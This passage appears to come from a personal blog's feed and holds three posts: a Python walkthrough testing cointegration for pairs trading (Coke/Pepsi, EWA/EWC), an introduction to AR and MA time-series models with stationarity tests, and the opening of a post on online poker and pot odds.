<h2 id="roadmap">Roadmap</h2>
<p><a href="/2017/05/ar-and-ma-time-series">Last time</a>, we talked about how to identify
stationary time series. Today we continue this line of thought
by defining cointegration and looking at its usage in trading. In
particular, we will discuss how a pairs trading strategy works.</p>
<h2 id="motivation">Motivation</h2>
<p>If we remember that stationarity assumes that a mean of a time series
exist, we can conclude that if the time series wanders too far off
its mean, it receives a pull back. Thus, the time series is mean
reverting.
If the time series is a series of prices, which is below its mean, we
can conclude that it will rise back to its mean. So we can buy it and
make profit by selling, if the price is back at its mean.
The other way around, if the time series is above its mean, we can
short the asset, and assuming mean reversion, we will make money in
the long run.</p>
<h2 id="excursion-continuous-time">Excursion: Continuous time</h2>
<p>If you are familiar with stochastic processes, you may want to ponder
the analogy to an Ornstein-Uhlenbeck process.
An Ornstein-Uhlenbeck process is a stochastic process \(X_t\) which satisfies the
following differential equation:
\(\begin{align}
dX_t = \theta (\mu-X_t)dt + \sigma dW_t
\end{align}\)
Here, \(\sigma\) is volatility, and \(W_t\) is Brownian motion. More
interesting are the remining variables: \(\mu\) is the mean and
\(\theta\) is an “elasticity coefficient”. The higher \(\theta\) is,
the stronger is the pull towards the mean.</p>
<h2 id="pairs-trading">Pairs Trading</h2>
<p>Unfortunately, simple mean reversion is hard to find. E.g. in stocks
this would mean, that the company does not grow. But we may be able to
construct a tradeable stationary time series.
In a pairs trade the goal is to find two assets, such that a linear
combination of the assets is stationary.
In math that amounts to finding two time series \(X_t\) and \(Y_t\)
such that a \(\beta\) exists with
\(\begin{align}
X_t = \beta Y_t + e_t
\end{align}\)
and the \(e_t\) stationary.
If this holds, then the series \(X_t\) and \(Y_t\) are called
<em>cointegrated</em>.</p>
<p>In the real world, that amounts to finding two companies which do
nearly the same, so the same economical factors apply. Two
companies which produce the same product and are in the same country
are affected by the same economical factors. But if one of them has a
failure in their supply chain, it may recover and thus we have a good
chance of a cointegrating relationship. A bunch of oil companies may
be a good pick. Or what about airlines. <br />
Of course we could also go the other way, and scan random stocks for
cointegration. This will sometimes not work, since if we work with a
p-value of 5%, every 20th detected cointegration relationship will be
pure garbage.</p>
<h2 id="how-do-we-test-cointegration">How do we test cointegration?</h2>
<p>If we knew the \(e_t\), then we could run an augmented dickey
fuller test, like we did in the last post, but unfortunately, we do
not know them. Thus, the traditional approach, also called the
<em>Engle-Granger two step method</em>, is to first estimate the process
\(e_t\) using, e.g., ordinary least squares and then testing \(e_t\)
for stationarity.</p>
<h2 id="code">Code</h2>
<p>For this code I have set up a Jupyter notebook and converted it to
markdown. If you are interested in toying around with the data
yourself you can download the full notebook <a href="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading.ipynb">here</a>.
We test cointegration between the stock prices of Coca Cola and Pepsi,
since they may be exposed to the same economical factors.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pandas_datareader.data</span> <span class="k">as</span> <span class="n">web</span>
<span class="kn">import</span> <span class="nn">datetime</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># We specify the timeframe and download the prices with Yahoo Finance
</span><span class="n">start</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2011</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2014</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">27</span><span class="p">)</span>
<span class="n">coke_prices</span> <span class="o">=</span> <span class="n">web</span><span class="p">.</span><span class="n">DataReader</span><span class="p">(</span><span class="s">"KO"</span><span class="p">,</span> <span class="s">'yahoo'</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>
<span class="n">pepsi_prices</span> <span class="o">=</span> <span class="n">web</span><span class="p">.</span><span class="n">DataReader</span><span class="p">(</span><span class="s">"PEP"</span><span class="p">,</span> <span class="s">'yahoo'</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>
</code></pre></div></div>
<p>Let us take a look at what we downloaded.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">coke_prices</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
</code></pre></div></div>
<div>
<table border="1" class="dataframe">
<thead>
<tr style="text-align: right;">
<th></th>
<th>Open</th>
<th>High</th>
<th>Low</th>
<th>Close</th>
<th>Volume</th>
<th>Adj Close</th>
</tr>
<tr>
<th>Date</th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<th>2011-01-03</th>
<td>65.879997</td>
<td>65.879997</td>
<td>65.110001</td>
<td>65.220001</td>
<td>18945600</td>
<td>27.033453</td>
</tr>
<tr>
<th>2011-01-04</th>
<td>65.019997</td>
<td>65.190002</td>
<td>63.810001</td>
<td>63.869999</td>
<td>27940400</td>
<td>26.473882</td>
</tr>
<tr>
<th>2011-01-05</th>
<td>63.790001</td>
<td>63.950001</td>
<td>62.860001</td>
<td>63.490002</td>
<td>34379000</td>
<td>26.316375</td>
</tr>
<tr>
<th>2011-01-06</th>
<td>63.619999</td>
<td>63.660000</td>
<td>62.830002</td>
<td>63.029999</td>
<td>21712400</td>
<td>26.125705</td>
</tr>
<tr>
<th>2011-01-07</th>
<td>62.779999</td>
<td>63.000000</td>
<td>62.560001</td>
<td>62.919998</td>
<td>16592800</td>
<td>26.080110</td>
</tr>
</tbody>
</table>
</div>
<p>We are interested in the adjusted close. The close prices themselves do not work, because of stock splits.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">coke_close</span><span class="o">=</span><span class="n">coke_prices</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">]</span>
<span class="n">pepsi_close</span><span class="o">=</span><span class="n">pepsi_prices</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">]</span>
</code></pre></div></div>
<p>Let us do a scatterplot. If they are cointegrated, then we expect to see the points clustered around a line</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="p">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">coke_close</span><span class="p">,</span> <span class="n">pepsi_close</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_7_0.png" alt="png" /></p>
<p>We fit a line with linear regression
So pepsi = slope * coke + intercept + error</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">scipy</span> <span class="kn">import</span> <span class="n">stats</span>
<span class="n">slope</span><span class="p">,</span> <span class="n">intercept</span><span class="p">,</span> <span class="n">r_value</span><span class="p">,</span> <span class="n">p_value</span><span class="p">,</span> <span class="n">std_err</span> <span class="o">=</span> <span class="n">stats</span><span class="p">.</span><span class="n">linregress</span><span class="p">(</span><span class="n">coke_close</span><span class="p">,</span> <span class="n">pepsi_close</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"slope: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">slope</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">intercept: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">intercept</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">r-value: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">r_value</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">p-value: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">p_value</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">std-err: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">std_err</span><span class="p">))</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>slope: 2.1868969195
intercept: -7.04139940461
r-value: 0.896540328487
p-value: 3.64783454604e-274
std-err: 0.0389638534876
</code></pre></div></div>
<p>The p-value is small, which is good.
Let us plot this thing with the fitted line</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="p">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">coke_close</span><span class="p">,</span> <span class="n">pepsi_close</span><span class="p">)</span>
<span class="n">x</span><span class="o">=</span><span class="p">[</span><span class="mi">26</span><span class="p">,</span><span class="mi">39</span><span class="p">]</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,[</span><span class="n">slope</span><span class="o">*</span><span class="n">x_i</span><span class="o">+</span><span class="n">intercept</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">],</span> <span class="n">color</span><span class="o">=</span><span class="s">'m'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_11_0.png" alt="png" /></p>
<p>Now we compute the term e, which is the residue or the error term.
If the error is stationary, then Coke and Pepsi are cointegrated.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">error</span> <span class="o">=</span> <span class="n">pepsi_close</span> <span class="o">-</span> <span class="n">slope</span> <span class="o">*</span> <span class="n">coke_close</span> <span class="o">-</span> <span class="n">intercept</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">error</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_13_0.png" alt="png" /></p>
<p>The plot looks okay, but it is not clear it if is really stationary.
E.g., there is an upward trending segment in the middle.
But we can test the error for stationarity.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">statsmodels.tsa.stattools</span> <span class="k">as</span> <span class="n">ts</span>
<span class="n">ts</span><span class="p">.</span><span class="n">adfuller</span><span class="p">(</span><span class="n">error</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(-1.9345595231989032,
0.31598188286172724,
0,
770,
{'1%': -3.4388710830827125,
'10%': -2.568772659807725,
'5%': -2.8653008652386576},
1257.1859133786406)
</code></pre></div></div>
<p>Remember the null hypothesis is, that there is a unit root.
Having a unit root, means that the process is not stationary.
The p-value is 0.31, so we cannot reject the null hypothesis.</p>
<p>Thus, Coke and Pepsi are not useful for pairs trading with the setup I described. There may be other setups, where it works. Maybe the timeframe is not useful. Maybe the error time series is not an AR(1)-process.</p>
<p>Let us take another example.
There is an iShares MSCI Australia and an iShares MSCI Canada. These are two ETFs which track the economy of Australia, respectively Canada. Their ticker symbols are EWA and EWC.
We will test their cointegration.</p>
<p>First, we define the timeframe and download the data from yahoo finance.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pandas_datareader.data</span> <span class="k">as</span> <span class="n">web</span>
<span class="kn">import</span> <span class="nn">datetime</span>
<span class="n">start</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2003</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2008</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">27</span><span class="p">)</span>
<span class="n">ewa_prices</span> <span class="o">=</span> <span class="n">web</span><span class="p">.</span><span class="n">DataReader</span><span class="p">(</span><span class="s">"EWA"</span><span class="p">,</span> <span class="s">'yahoo'</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>
<span class="n">ewc_prices</span> <span class="o">=</span> <span class="n">web</span><span class="p">.</span><span class="n">DataReader</span><span class="p">(</span><span class="s">"EWC"</span><span class="p">,</span> <span class="s">'yahoo'</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>
</code></pre></div></div>
<p>Again, we need to trade on the adjusted closes. Let us plot the two charts.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ewa_close</span><span class="o">=</span><span class="n">ewa_prices</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">]</span>
<span class="n">ewc_close</span><span class="o">=</span><span class="n">ewc_prices</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">]</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">ewa_close</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">'ewa'</span><span class="p">,</span> <span class="n">legend</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">ewc_close</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">'ewc'</span><span class="p">,</span> <span class="n">legend</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_19_0.png" alt="png" /></p>
<p>We can see that they have common jumps, so we can go on to the next step: drawing a scatterplot.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="p">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">ewa_close</span><span class="p">,</span> <span class="n">ewc_close</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_21_0.png" alt="png" /></p>
<p>This fairly looks like a line. Perfect. So we fit a line.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">scipy</span> <span class="kn">import</span> <span class="n">stats</span>
<span class="n">slope</span><span class="p">,</span> <span class="n">intercept</span><span class="p">,</span> <span class="n">r_value</span><span class="p">,</span> <span class="n">p_value</span><span class="p">,</span> <span class="n">std_err</span> <span class="o">=</span> <span class="n">stats</span><span class="p">.</span><span class="n">linregress</span><span class="p">(</span><span class="n">ewa_close</span><span class="p">,</span> <span class="n">ewc_close</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"slope: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">slope</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">intercept: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">intercept</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">r-value: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">r_value</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">p-value: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">p_value</span><span class="p">)</span> <span class="o">+</span>
<span class="s">"</span><span class="se">\n</span><span class="s">std-err: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">std_err</span><span class="p">))</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>slope: 1.27629111076
intercept: 1.79841662559
r-value: 0.989386266306
p-value: 0.0
std-err: 0.00525367636547
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">plt</span><span class="p">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">ewa_close</span><span class="p">,</span> <span class="n">ewc_close</span><span class="p">)</span>
<span class="n">x</span><span class="o">=</span><span class="p">[</span><span class="mi">4</span><span class="p">,</span><span class="mi">22</span><span class="p">]</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,[</span><span class="n">slope</span><span class="o">*</span><span class="n">x_i</span><span class="o">+</span><span class="n">intercept</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">],</span> <span class="n">color</span><span class="o">=</span><span class="s">'m'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_24_0.png" alt="png" /></p>
<p>Looks great. Now we compute the error and test if it is mean-reverting.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">error</span> <span class="o">=</span> <span class="n">ewc_close</span> <span class="o">-</span> <span class="n">slope</span> <span class="o">*</span> <span class="n">ewa_close</span> <span class="o">-</span> <span class="n">intercept</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">error</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="http://hkopp.github.io/assets/identifying-asset-pairs-for-pairs-trading/pairs_trading_26_0.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">statsmodels.tsa.stattools</span> <span class="k">as</span> <span class="n">ts</span>
<span class="n">ts</span><span class="p">.</span><span class="n">adfuller</span><span class="p">(</span><span class="n">error</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(-3.3459094549609389,
0.012946959495104054,
1,
1273,
{'1%': -3.4354973175106842,
'10%': -2.5679802172809003,
'5%': -2.8638130956084464},
-845.44796472685812)
</code></pre></div></div>
<p>We got a p-value of 0.0129. That means we are statistically significant. So we could go on to build a trading strat by trading on the error. The interesting part is that it is only significant, since I chose the timeframe appropriately. For other timeframes the cointegration relationship interestingly does not hold.</p>
Ar And Ma Time Series
2017-05-24T00:00:00+00:00
https://hkopp.github.io/2017/05/ar-and-ma-time-series
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<p>This time I will give a short introduction to time series models, since I find myself
looking up the same things over and over, because I forget them in the
meantime.
I will cover the AR(p)-model and quickly define the MA(q)-model.
These are the basic models, on which the more sophisticated ones
are built.</p>
<h2 id="useful-definitions">Useful definitions</h2>
<p>In the following \(X_t, t\in\mathbb{N}\) will always be a time series,
i.e. a series of random variables. <br />
We define the <em>mean</em> \(\mu(X_t)\) of the time series \(X_t\) to be
simply the expectation \(\mu(t)=E(X_t)\). <br />
We say that a time series \(X_t\) is <em>stationary in the mean</em> if the mean is a
constant, i.e., \(\mu(t)=\mu=const\). <br />
We define the <em>variance</em> of a time series \(X_t\) to be
\(\sigma^2(t)=E((X_t - E(X_t))^2)\). If the time series is stationary in
the mean this is just \(\sigma^2(t)=E((X_t - \mu)^2)\). <br />
We say that a time series \(X_t\) is <em>stationary in the variance</em> if, you guessed it, the variance is a constant, i.e., \(\sigma^2(t)= const\). <br />
If a time series is stationary in the mean and stationary in the
variance we say that it is <em>second order stationary</em>. Then the
correlation of shifted observations is only a function of the shift.</p>
<p>There is also the notion of strong stationarity, which basically means
that if you shift the time series, the cumulative probability
distribution does not change. If you are interested in that, you may
want to look it up. I am not going to split hairs over this.</p>
<p>The problem with all these definitions is that you normally do not
know any of these terms, since you only have one realization of the
time series. Thus you cannot know the mean, since this is a function
of time. Also you cannot compute the variance, since the variance also
depends on the time. <br />
Normally you assume some properties like stationarity in the mean, if
it makes sense for your observations and then go on to compute what
you are allowed to compute.</p>
<p>If a series \(X_t\) is second order stationary then we can define the
autocovariance of lag \(k\) as
\(C_k=cov(X_t,X_{t+k})=E((X_t-\mu)(X_{t+k}-\mu))\). Note that
\(\mu\) exists since \(X_t\) is second order stationary.</p>
<p>The autocorrelation \(\rho_k\) of lag \(k\) of a second order
stationary time series \(X_t\) is the covariance of \(X_t\) and
\(X_{t+k}\) divided by its variance. Or the autocovariance of lag
\(k\) of \(X_t\) divided by its variance. I.e.
\(\rho_k=C_k/\sigma^2\). Alternatively it can be defined as the
correlation between \(X_t\) and \(X_{t+k}\).</p>
<p>In the following \(\epsilon_t\) will always denote white noise. That
means that \(\epsilon_t\sim \mathcal{N}(\mu,\sigma^2)\) are
independent and identically distributed.</p>
<p>We denote the <em>backward shift</em> operator by \(B\). The backward shift
operator takes a time series element and returns the previous element.
\(BX_t=X_{t-1}\). In other references it is sometimes denoted by
\(L\) and called the <em>lag operator</em>.</p>
<p>There is also the <em>difference operator</em> \(\Delta\) which is defined as
\(\Delta=(1-B)\). This is an aesthetically pleasing way to write
\(\Delta X_t=X_t-X_{t-1}\).</p>
<h2 id="ar-model">AR model</h2>
<p>A time series model \(X_t\) is an <em>autoregressive model of order p</em>, AR(p), if</p>
\[\begin{align}
X_t = c + \sum\limits_{i=1}^p \phi_i X_{t-i} + \epsilon_t
\end{align}\]
<p>where \(\phi_1,...,\phi_p\) are the parameters of the model, \(c\) is a constant and \(\epsilon_t\) is white noise.
We can rewrite this as \(\Phi(B)X_t - c=\epsilon_t\), where \(\Phi(B)\) is the
polynomial \(\Phi(x)= 1-\phi_1 x - \phi_2 x^2 - ... - \phi_p x^p\)
evaluated at the backward shift operator \(B\).</p>
<p>That means, that the next value is always a linear combination of the
old value and some shock \(\epsilon\).
These models are not always stationary.</p>
<p>Let us consider a random walk. With our new notation, we can define
this as an AR(1) process where \(\phi_1=1\) and \(c=0\). This is not a
stationary process.</p>
<p>In fact, if you want to check if your process is stationary, you have
to compute the roots of the polynomial \(\Phi\). If all of them are
bigger than one in absolute value the process is stationary.
If there are some unit roots, i.e., roots with absolute value 1, like
in the case above with the random walk, then your process is not
stationary. You can check this by computing it for an AR(1) process.
The proof of the general statement is just a generalization of an
AR(1) model.</p>
<p>If you are looking for a statistical test for the presence of a unit
root, there is the Augmented Dickey-Fuller test.</p>
<h3 id="example-code">Example code</h3>
<p>In the following example we will take random walk and fit an
AR-process on it.
Then we will check if it is stationary.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="n">pd</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">statsmodels.tsa.ar_model</span> <span class="k">as</span> <span class="n">ar</span>
<span class="n">randomwalk</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">1000</span><span class="p">).</span><span class="n">cumsum</span><span class="p">()</span>
<span class="n">armodel</span> <span class="o">=</span> <span class="n">ar</span><span class="p">.</span><span class="n">AR</span><span class="p">(</span><span class="n">randomwalk</span><span class="p">)</span>
<span class="c1"># We specify the max lag as 1
</span><span class="n">result</span><span class="o">=</span><span class="n">armodel</span><span class="p">.</span><span class="n">fit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">results</span><span class="p">.</span><span class="n">conf_int</span><span class="p">())</span></code></pre></figure>
<p>The result of running the code is as follows:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="p">[[</span><span class="o">-</span><span class="mf">0.05228426</span> <span class="mf">0.12246102</span><span class="p">]</span>
<span class="p">[</span> <span class="mf">0.98979846</span> <span class="mf">1.00183547</span><span class="p">]]</span></code></pre></figure>
<p>These are the estimated parameters within a 5% confidence interval.
The second row says, that our \(\phi_1\) which should be one is
estimated to be between 0.98979846 and 1.00183547. Quite close. <br />
I am not quite sure what the first pair is good for. First I thought
this is an estimate for the constant term c. But it did not change
when I estimated the parameters for randomwalk+100, so I simply do not
know.</p>
<p>Let us now check if our random walk is stationary. For this, we employ
the Augmented Dickey Fuller test. There are also other tests for
stationarity, but for our purposes, ADF suffices.</p>
<p>ADF does not know about conditional heteroskedasticity, which is a
mathematical way of saying that the volatilities are clustered. So if
you have a heteroskedastic time series and use ADF, you are doing it
wrong. ADF internally estimates the parameters assuming we have an
AR(p) process and then checks for the unit root.</p>
<p>Our code continues from above</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">statsmodels.tsa.stattools</span> <span class="k">as</span> <span class="n">ts</span>
<span class="n">ts</span><span class="p">.</span><span class="n">adfuller</span><span class="p">(</span><span class="n">randomwalk</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span></code></pre></figure>
<p>If we do not provide the 1, which specifies the order of our model, it
estimates the order.
The output is as follows:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="p">(</span><span class="o">-</span><span class="mf">2.1121577063909767</span><span class="p">,</span>
<span class="mf">0.2396541120037593</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span>
<span class="mi">999</span><span class="p">,</span>
<span class="p">{</span><span class="s">'1%'</span><span class="p">:</span> <span class="o">-</span><span class="mf">3.4369127451400474</span><span class="p">,</span>
<span class="s">'10%'</span><span class="p">:</span> <span class="o">-</span><span class="mf">2.568312754566378</span><span class="p">,</span>
<span class="s">'5%'</span><span class="p">:</span> <span class="o">-</span><span class="mf">2.864437475834273</span><span class="p">},</span>
<span class="mf">2827.700663064752</span><span class="p">)</span></code></pre></figure>
<p>The first value is the test statistic. Next is the p-value. The real
p-values from the literature [MacKinnon (1994)] at the critical values
of 1, 5, and 10%, are in the dictionary.</p>
<p>The null hypothesis of the ADF is that there is a unit
root. Since our p-value is big, we cannot reject the null hypothesis.
Alternatively we can also see that our statistic is bigger than the
statistic at MacKinnons values.</p>
<p>This is in accord with our intuition, since we provided a
nonstationary process as input, i.e., a process with a unit root.</p>
<h2 id="ma-model">MA model</h2>
<p>A time series model \(X_t\) is a <em>moving average model of order q</em>, MA(q), if</p>
\[\begin{align}
X_t = \mu + \epsilon_t + \sum\limits_{i=1}^q \theta_i \epsilon_{t-i}
\end{align}\]
<p>where \(\theta_1,...,\theta_p\) are parameters, \(\mu\) is a constant, namely the expectation of \(X_t\) and \(\epsilon_t,...,\epsilon_{t-q}\) is white noise.
We can rewrite this using a polynomial \(\Theta\) as \(X_t = \mu +
\Theta(B)\epsilon_t = \mu + (1 + \theta_1 B+ \theta_2 B^2 + ... + \theta_q
B^q) \epsilon_t\).</p>
<p>In MA-models, the next value of the series is a linear combination of
the previous shocks.
MA-models are always stationary.</p>
<h2 id="conclusion">Conclusion</h2>
<p>We have seen the basic definitions of time series and how to test for
stationarity of an AR(p) time series. I will probably reference this
from future articles.</p>
Stuff I Learned By Playing Online Poker
2017-05-07T00:00:00+00:00
https://hkopp.github.io/2017/05/stuff-i-learned-by-playing-online-poker
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<p>Recently I played a lot of online poker, so I thought I could write down
some observations. I played poker with
<a href="http://www.pokerth.net">Pokerth</a> which is a nice poker client for
Linux. Pokerth, as the name implies is about (No-Limit) Texas Hold-em.</p>
<h2 id="simple-but-difficult">Simple but Difficult</h2>
<p>Poker has really easy rules, comparable to the board game Go. You can
learn it in about five minutes.
Nevertheless it takes years to master. In Go the better player gets a
handicap, to even the field. In Poker there is no comparable
mechanism, but since Poker involves more randomness, fishes also win
sometimes and that will bring them back to the table.</p>
<h2 id="luck-vs-skill">Luck vs. Skill</h2>
<p>Poker looks like a game of luck but is really about skill. Why else
are the people in the World Series of Poker finals always the same? A
single game is pure luck, depending on what cards you have been dealt.
But over many rounds the randomness evens out. Over sufficiently many
rounds all people get dealt the same cards. Then it depends on how you
play your cards. <br />
Interestingly if one thinks about it many things look like they are
about luck but are not: Sales, Women, and daytrading come to mind.</p>
<h2 id="pot-odds">Pot odds</h2>
<p>One of the advanced basic concepts in poker is that of pot odds.
Assume you have a flush draw, i.e., one card is missing to a flush.
There are two more cards to come and assume we know that if you make
that flush you are certain to win. Further assume that there are 90$ in
the pot and your opponent raises 10$. Should you call?</p>
<p>This can be analyzed by computing the odds. The probability of
making the flush is about \(1/3\). If you call, however your share
on the pot is \(1/10\), since there are 100$ in the pot and you have
to bet 10$. So you can win 10$ for every dollar you bet.
Thus you should call.</p>
<p>More exactly when we are three times in this situation, on average one
time we will make the flush and win at least 100$ (the 100$ this round
and perhaps future bets). The other two times we will not make the
flush and lose 10$ each. So our net profit of playing three times is
\(100$ - 2\cdot 10$ = 80$\). That means that in one game, calling will
